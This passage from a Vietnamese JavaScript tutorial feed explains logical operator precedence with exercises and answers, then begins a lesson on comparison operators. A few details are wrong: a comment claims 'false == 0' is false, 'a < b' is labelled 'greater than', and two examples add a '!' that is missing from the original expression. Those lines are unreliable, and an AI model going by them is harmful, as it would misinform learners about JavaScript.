punctuation">(</span><span class="token operator">!</span><span class="token operator">!</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Bởi vì toán tử NOT đầu tiên <code>!</code> đã chuyển giá trị về boolean rồi trả về giá trị ngược lại. Toán tử NOT thứ hai <code>!</code> lại trả về giá trị ngược lại một lần nữa. Kết hợp lại thì sẽ tương đương với chuyển giá trị ban đầu về boolean.</p> <p>Hay nói gắn gọn lại là: "phủ định của phủ định thành khẳng định".</p> </blockquote> <h3 id="thứ-tự-ưu-tiên-của-các-toán-tử-logic" style="position:relative;"><a href="#th%E1%BB%A9-t%E1%BB%B1-%C6%B0u-ti%C3%AAn-c%E1%BB%A7a-c%C3%A1c-to%C3%A1n-t%E1%BB%AD-logic" aria-label="thứ tự ưu tiên của các toán tử logic permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thứ tự ưu tiên của các toán tử logic</h3> <p>Nếu so sánh với các toán tử đã học như <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử số học</a> và <a href="/toan-tu-so-sanh-trong-javascript/">toán tử so sánh</a> thì toán tử logic trong JavaScript có độ ưu tiên thấp hơn.</p> <p>Nếu so sánh thứ tự ưu tiên của các toán tử logic trong JavaScript với nhau thì toán tử NOT (<code>!</code>) có độ ưu tiên cao nhất. Xếp thứ hai là toán tử AND (<code>&#x26;&#x26;</code>). Và cuối cùng là toán tử OR (<code>||</code>).</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log(1 + 2 || "javascript" &amp;&amp; 4 > 5);</code></pre></div> <p>Dựa theo độ ưu tiên thì quá trình thực hiện sẽ như sau (mình sử dụng cặp dấu ngoặc đơn <code>()</code> để biểu thị phần được xử lý trước):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">1 + 2 || !"javascript" &amp;&amp; 4 > 5; -> (1 + 2) || !"javascript" &amp;&amp; 4 > 5; // toán tử số học có độ ưu tiên cao nhất -> 3 || !"javascript" &amp;&amp; 4 > 5; -> 3 || !"javascript" &amp;&amp; (4 > 5); // toán tử so sánh ưu tiên cao hơn toán tử logic -> 3 || !"javascript" &amp;&amp; false; -> 3 || (!"javascript") &amp;&amp; false; // toán tử NOT có độ ưu tiên cao hơn AND và OR -> 3 || false &amp;&amp; false; -> 3 || (false &amp;&amp; false); // toán tử AND có độ ưu tiên cao hơn OR -> 3 || false; -> 3 // giá trị truthy đầu tiên là 3</code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là một số kiến thức cơ bản cần nhớ về các toán tử logic trong JavaScript:</p> <ul> <li>Các toán tử logic trong JavaScript bao gồm: toán tử OR <code>||</code>, toán tử AND <code>&#x26;&#x26;</code>, toán tử NOT <code>!</code> và toán tử "Nullish Coalescing" <code>??</code> (sẽ tìm hiểu ở bài viết sau).</li> <li><strong>Truthy</strong> là những giá trị mà khi chuyển về kiểu dữ liệu boolean ra giá trị <code>true</code>. <strong>Falsy</strong> là những giá trị mà khi chuyển về kiểu dữ liệu boolean ra giá trị <code>false</code>.</li> <li>Toán tử OR tìm và trả về giá trị của toán hạng <strong>truthy</strong> đầu tiên. Nếu không có giá trị <strong>truthy</strong> nào thì toán tử OR trả về giá trị của toán hạng cuối cùng.</li> <li>Toán tử AND tìm và trả về giá trị của toán hạng <strong>falsy</strong> đầu tiên. Nếu không có giá trị <strong>falsy</strong> nào thì toán tử AND trả về giá trị của toán hạng cuối cùng.</li> <li>Toán tử NOT sẽ chuyển giá trị của toán hạng về kiểu dữ liệu boolean rồi lấy giá trị phủ định.</li> <li>So sánh với các toán tử đã học (toán tử số học, toán tử so sánh) thì toán tử logic có độ ưu tiên thấp hơn.</li> <li>Trong các toán tử logic trong JavaScript, toán tử NOT có độ ưu tiên cao nhất, sau đó đến toán tử AND và cuối cùng là toán tử OR.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Kết quả của các biểu thức sau là gì?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">||</span> <span class="token string">"0"</span> <span class="token operator">||</span> <span class="token number">99</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">||</span> <span class="token number">0</span> <span class="token operator">||</span> <span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">100n</span> <span class="token operator">&amp;&amp;</span> <span class="token string">""</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">3</span> <span class="token operator">></span> <span class="token string">"0"</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">null</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">==</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token number">0</span> <span class="token operator">===</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token string">"hello"</span> <span class="token operator">&amp;&amp;</span> <span class="token string">"apple"</span> <span class="token operator">&lt;</span> <span class="token string">"appLE"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (7)</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">||</span> <span class="token string">"0"</span> <span class="token operator">||</span> <span class="token number">99</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "0" (1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">||</span> <span class="token number">0</span> <span class="token operator">||</span> <span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN (2)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">100n</span> <span class="token operator">&amp;&amp;</span> <span class="token string">""</span> <span class="token operator">&amp;&amp;</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "" (3)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (4)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">3</span> <span class="token operator">></span> <span class="token string">"0"</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">null</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (5)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">==</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token number">0</span> <span class="token operator">===</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (6)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token operator">!</span><span class="token string">"hello"</span> <span class="token operator">&amp;&amp;</span> <span class="token string">"apple"</span> <span class="token operator">&lt;</span> <span class="token string">"appLE"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (7)</span></code></pre></div> <p><strong>Giải thích:</strong></p> <ol> <li>Toán tử OR: Giá trị <strong>truthy</strong> đầu tiên là <code>"0"</code> (string khác rỗng).</li> <li>Toán tử OR: Không có giá trị <strong>truthy</strong> nào nên đáp án là giá trị của toán hạng cuối cùng <code>NaN</code>.</li> <li>Toán tử AND: Giá trị <strong>falsy</strong> đầu tiên là <code>""</code>.</li> <li>Toán tử AND: Giá trị <strong>falsy</strong> đầu tiên là false.</li> <li>Toán tử so sánh có độ ưu tiên cao hơn nên thực hiện trước. Mà <code>3 > "0"</code> trả về <code>true</code> vì đây là so sánh khác kiểu dữ liệu. String <code>"0"</code> chuyển về dạng số thành số <code>0</code>. Tiếp theo, <code>null == 1</code> trả về <code>false</code> vì <code>null</code> chỉ bằng <code>undefined</code> và khác tất cả các giá trị còn lại. Nên biểu thức ban đầu tương đương với <code>true &#x26;&#x26; false</code>. Vì vậy, kết quả là <code>false</code>.</li> <li>Tương tự, toán tử so sánh thực hiện trước. Đầu tiên <code>null == undefined</code> trả về <code>true</code>. Thứ hai <code>0 === "0"</code> trả về <code>false</code> vì đây là so sánh bằng "nghiêm ngặt", mà hai toán hạng khác kiểu dữ liệu. Nên biểu thức ban đầu tương đương với <code>true || false</code>. Vì vậy, kết quả là <code>true</code>.</li> <li>Toán tử so sánh thực hiện trước. Do đó <code>"apple" &#x3C; "appLE"</code> thực hiện trước. Đây là so sánh string nên sẽ so sánh từng kí tự một. Thành phần <code>"app"</code> là giống nhau, mà <code>"l"</code> lớn hơn <code>"L"</code> (theo bảng mã Unicode). Nên <code>"apple" &#x3C; "appLE"</code> trả về false. Tiếp theo, toán tử NOT có độ ưu tiên cao hơn AND, nên <code>!!"hello"</code> thực hiện trước. Mà <code>!!"hello"</code> trả về <code>true</code>. Nên biểu thức ban đầu tương đương với <code>true &#x26;&#x26; false</code>. Vì vậy, kết quả là <code>false</code>.</li> </ol> </div> </div> </div>[email protected]<![CDATA[Toán tử so sánh trong JavaScript]]><![CDATA[Qua bài viết trước, bạn đã biết toán tử là gì, cũng như các loại toán tử trong JavaScript giúp cho việc tính toán. Tiếp theo, mình sẽ tìm hiểu về toán tử so sánh trong JavaScript…]]>https://completejavascript.com/toan-tu-so-sanh-trong-javascript/https://completejavascript.com/toan-tu-so-sanh-trong-javascript/<![CDATA[Toán tử]]>Thu, 04 May 2017 20:00:00 GMT<p>Qua bài viết trước, bạn đã biết <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử là gì</a>, cũng như các loại toán tử trong JavaScript giúp cho việc tính toán. Tiếp theo, mình sẽ tìm hiểu về <strong>toán tử so sánh</strong> trong JavaScript.</p> <p>Cụ thể, bài viết này tập trung vào tìm hiểu toán tử so sánh là gì, các loại toán tử so sánh trong JS, kết quả của phép so sánh và một số trường hợp đặc biệt (dễ nhầm lẫn) khi so sánh.</p> <h2 id="toán-tử-so-sánh-là-gì" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-so-s%C3%A1nh-l%C3%A0-g%C3%AC" aria-label="toán tử so sánh là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử so sánh là gì?</h2> <p><strong>Toán tử so sánh</strong> là toán tử hai ngôi dùng để so sánh giá trị của hai toán hạng với nhau.</p> <p>Các toán tử so sánh trong JavaScript bao gồm:</p> <ul> <li>Toán tử so sánh lớn hơn <code>></code> và toán tử so sánh nhỏ hơn <code>&#x3C;</code>.</li> <li>Toán tử so sánh lớn hơn hoặc bằng <code>>=</code> và toán tử so sánh nhỏ hơn hoặc bằng <code>&#x3C;=</code>.</li> <li>Toán tử so sánh bằng "không nghiêm ngặt" <code>==</code> và toán tử so sánh bằng "nghiêm ngặt" <code>===</code>.</li> <li>Toán tử so sánh khác "không nghiêm ngặt" <code>!=</code> và toán tử so sánh khác "nghiêm ngặt" <code>!==</code>.</li> </ul> <blockquote> <p>📝 <strong>Chú ý:</strong></p> <p>Toán tử <strong>so sánh bằng</strong> có hai (hoặc ba) dấu bằng.</p> <p>Bạn chú ý để tránh nhầm lẫn với toán tử gán - chỉ có một dấu bằng <code>=</code>.</p> </blockquote> <p>Ví dụ các phép toán so sánh:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> a <span class="token operator">></span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh lớn hơn</span> a <span class="token operator">&lt;</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh lớn hơn</span> a <span class="token operator">>=</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh lớn hơn hoặc bằng</span> a <span class="token operator">&lt;=</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh nhỏ hơn hoặc bằng</span> a <span class="token operator">==</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh bằng không nghiêm ngặt</span> a <span class="token operator">===</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh bằng nghiêm ngặt</span> a <span class="token operator">!=</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh khác không nghiêm ngặt</span> a <span class="token operator">!==</span> b<span class="token punctuation">;</span> <span class="token comment">// so sánh khác nghiêm ngặt</span></code></pre></div> <h2 id="kết-quả-của-phép-so-sánh" style="position:relative;"><a href="#k%E1%BA%BFt-qu%E1%BA%A3-c%E1%BB%A7a-ph%C3%A9p-so-s%C3%A1nh" aria-label="kết quả của phép so sánh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết quả của phép so sánh</h2> <p>Kết quả của phép so sánh luôn là một giá trị kiểu <a href="/kieu-du-lieu-trong-javascript/">boolean</a>.</p> <ul> <li><code>true</code>: đúng, chính xác</li> <li><code>false</code>: sai, không chính xác</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">></span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (sai)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">&lt;</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (đúng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">>=</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (sai)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">&lt;=</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (đúng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">==</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (sai)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">===</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (sai)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">!=</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (đúng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">!==</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (đúng)</span></code></pre></div> <p>Bạn có thể gán kết quả của phép so sánh cho một biến khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> ret <span class="token operator">=</span> <span class="token number">6</span> <span class="token operator">></span> <span class="token number">9</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (sai)</span></code></pre></div> <h2 id="so-sánh-string" style="position:relative;"><a href="#so-s%C3%A1nh-string" aria-label="so sánh string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh string</h2> <p>Quy tắc so sánh hai string trong JavaScript cũng giống như hầu hết các ngôn ngữ lập trình khác. Đó là so sánh theo thứ tự "từ điển". Hay nói cách khác là so sánh từng chữ cái một (từ trái sang phải).</p> <p>Ví dụ so sánh các string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"A"</span> <span class="token operator">&lt;</span> <span class="token string">"Z"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Small"</span> <span class="token operator">&lt;</span> <span class="token string">"Smart"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Big"</span> <span class="token operator">&lt;</span> <span class="token string">"BigBang"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <blockquote> <p>Tóm tắt <strong>thuật toán so sánh hai string</strong> như sau:</p> <p>So sánh kí tự đầu tiên của hai string.</p> <ul> <li>Nếu kí tự đầu tiên của string(1) lớn hơn (hoặc nhỏ hơn) kí tự đầu tiên của string(2) thì string(1) lớn hơn (hoặc nhỏ hơn) string(2). Suy ra, <strong>so sánh kết thúc</strong>.</li> <li>Ngược lại, nếu hai kí tự đầu tiên bằng nhau thì tiếp tục so sánh đến các kí tự thứ hai.</li> </ul> <p>Lặp lại việc so sánh như trên, cho đến khi <strong>so sánh kết thúc</strong> kết thúc hoặc <strong>đã so sánh hết</strong> các kí tự của ít nhất một string.</p> <ul> <li>Nếu hai string có cùng độ dài thì chúng bằng nhau.</li> <li>Ngược lại, string nào dài hơn thì string đó lớn hơn.</li> </ul> </blockquote> <p>Trong ví dụ so sánh <code>"A" &#x3C; "Z"</code> kết quả là <code>true</code>. Quá trình so sánh dừng lại ở bước một.</p> <p>Trong ví dụ so sánh <code>"Small" &#x3C; "Smart"</code> kết quả là <code>true</code>. Quá trình so sánh lặp lại nhiều lần.</p> <ol> <li>Kí tự đầu tiên <code>S</code> là giống nhau</li> <li>Kí tự thứ hai <code>m</code> cũng giống nhau</li> <li>Kí tự thứ ba <code>a</code> cũng giống nhau</li> <li>Kí tự thứ tư <code>l</code> nhỏ hơn <code>r</code>. Suy ra, string <code>"Small"</code> nhỏ hơn string <code>"Smart"</code>.</li> </ol> <p>Trong ví dụ so sánh <code>"Big" &#x3C; "BigBang"</code> kết quả là <code>true</code>. Quá trình so sánh cùng lặp lại nhiều lần. Ba kí tự đầu tiên là <code>"Big"</code> đều giống nhau. Lúc này, string <code>"Big"</code> kết thúc. Trong khi, string <code>"BigBang"</code> còn thêm các kí tự <code>"Bang"</code> (độ dài string lớn hơn). Suy ra, string <code>"Big"</code> nhỏ hơn string <code>"BigBang"</code>.</p> <blockquote> <p>📝 <strong>Chú ý</strong>:</p> <p>Để so sánh hai kí tự với nhau, JavaScript so sánh giá trị của hai kí tự (dạng số) ở <a href="https://vi.wikipedia.org/wiki/Unicode">bảng mã Unicode</a>.</p> <p>Trong bảng mã này, ta có thứ tự <code>0 &#x3C; 9 &#x3C; A &#x3C; Z &#x3C; a &#x3C; z</code>.</p> <p>Ngoài việc so sánh các chữ cái Latinh ra thì JavaScript còn có thể so sánh các chữ cái không phải Latinh.</p> </blockquote> <h2 id="so-sánh-khác-kiểu-dữ-liệu" style="position:relative;"><a href="#so-s%C3%A1nh-kh%C3%A1c-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u" aria-label="so sánh khác kiểu dữ liệu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh khác kiểu dữ liệu</h2> <p>Khi so sánh các toán hạng khác kiểu dữ liệu, JavaScript chuyển đổi giá trị các toán hạng ra dạng số, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"5"</span> <span class="token operator">></span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true, vì "5" chuyển thành 5</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"01"</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true, vì "01" chuyển thành 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"11"</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false, vì "11" chuyển thành 11</span></code></pre></div> <p>Đối với kiểu dữ liệu boolean, <code>true</code> sẽ chuyển thành <code>1</code> và <code>false</code> chuyển thành <code>0</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Việc so sánh khác kiểu dữ liệu sử dụng toán tử bằng "không nghiêm ngặt" <code>==</code> dẫn đến một số trường hợp "phi logic", ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"0"</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">==</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p><strong>Kì lạ phải không?</strong></p> <p>Nếu theo tính chất "bắc cầu" trong toán học thì nếu <code>"" == 0</code> là <code>true</code> và <code>"0" == 0</code> là <code>true</code>, suy ra <code>"" == "0"</code> cũng phải là <code>true</code> (vì cùng bằng <code>0</code>).</p> <p>Nhưng thực tế lại không phải như vậy, hai phép so sánh đầu tiên là <strong>so sánh khác kiểu dữ liệu</strong>, nên <code>""</code> và <code>"0"</code> đều được chuyển thành dạng số và bằng 0.</p> <p>Trong khi phép so sánh thứ ba là <strong>so sánh cùng kiểu dữ liệu</strong>, nên không có quá trình chuyển đổi dữ liệu xảy ra. Dẫn đến, kết quả của phép so sánh cuối là <code>false</code>.</p> <p>Để giải quyết vấn đế này, JavaScript tạo ra toán tử so sánh bằng "nghiêm ngặt" <code>===</code>.</p> <h2 id="so-sánh-bằng-nghiêm-ngặt" style="position:relative;"><a href="#so-s%C3%A1nh-b%E1%BA%B1ng-nghi%C3%AAm-ng%E1%BA%B7t" aria-label="so sánh bằng nghiêm ngặt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 